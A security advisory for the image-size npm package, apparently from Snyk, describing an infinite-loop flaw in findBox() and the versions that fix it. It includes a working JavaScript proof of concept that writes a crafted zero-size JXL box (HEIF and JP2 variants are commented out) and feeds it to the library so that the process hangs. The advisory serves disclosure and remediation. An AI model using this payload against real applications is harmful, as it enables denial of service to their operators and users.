Infinite loop Affecting image-size package, versions >=1.1.0 <1.2.1>=2.0.0-alpha.1 <2.0.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-IMAGESIZE-9634164
- published3 Apr 2025
- disclosed2 Apr 2025
- creditAlessio Della Libera
Introduced: 2 Apr 2025
CVE-2025-71319 (opens in a new tab)How to fix?
Upgrade image-size to version 1.2.1, 2.0.2 or higher.
Overview
Affected versions of this package are vulnerable to Infinite loop in the findBox() function. An attacker can cause the application to hang indefinitely by supplying a malicious image.
PoC
// mkdir 2.0.1
// cd 2.0.1/
// npm i image-size@2.0.1
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
(async () => {
await imageSizeFromFile(FILENAME)
console.log('Done') // never executed
})();
}
function poc2() {
imageSize(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();